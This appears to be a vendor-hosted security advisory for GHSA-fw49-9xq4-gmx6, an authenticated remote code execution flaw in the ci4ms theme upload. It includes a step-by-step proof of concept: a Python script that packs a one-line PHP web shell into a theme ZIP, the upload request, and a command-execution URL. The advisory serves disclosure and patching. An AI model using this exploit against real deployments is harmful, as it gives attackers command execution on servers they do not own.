GHSA-fw49-9xq4-gmx6
GHSA-fw49-9xq4-gmx6 is a remote code execution vulnerability in ci4-cms-erp/ci4ms. O3 Security confirms whether GHSA-fw49-9xq4-gmx6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution
Blast Radius
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Description
Summary
A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.
Details
File: modules/Theme/Controllers/Theme.php
After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52
File: modules/Theme/Helpers/themes_helper.php
The helper copies every file matching . from public/templates/<name>/ inside the ZIP directly into public/templates/<name>/ on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: themes_helper.php:60-68
Because the web root is public/, any .php file placed there is directly reachable over HTTP.
PHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: themes_helper.php:31-42
The theme name is derived from the uploaded filename via str_replace('_theme.zip', '', $file->getName()), so uploading evil_theme.zip sets the theme name to evil and the install target to public/templates/evil/: Theme.php:20
PoC
Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).
Step 1 — Build the malicious ZIP:
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')
buf.seek(0)
with open('evil_theme.zip', 'wb') as f:
f.write(buf.read())
Step 2 — Upload:
POST /backend/themes/upload
Content-Type: multipart/form-data
field name: theme
file: evil_theme.zip
Step 3 — Execute:
GET https://target.com/templates/evil/shell.php?c=id
Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
Impact
Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.
Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | ≥ 0.26.0.0&&< 0.31.7.0 | 0.31.7.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ci4-cms-erp/ci4ms to 0.31.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fw49-9xq4-gmx6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fw49-9xq4-gmx6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fw49-9xq4-gmx6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fw49-9xq4-gmx6 in your dependencies?
O3 detects GHSA-fw49-9xq4-gmx6 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.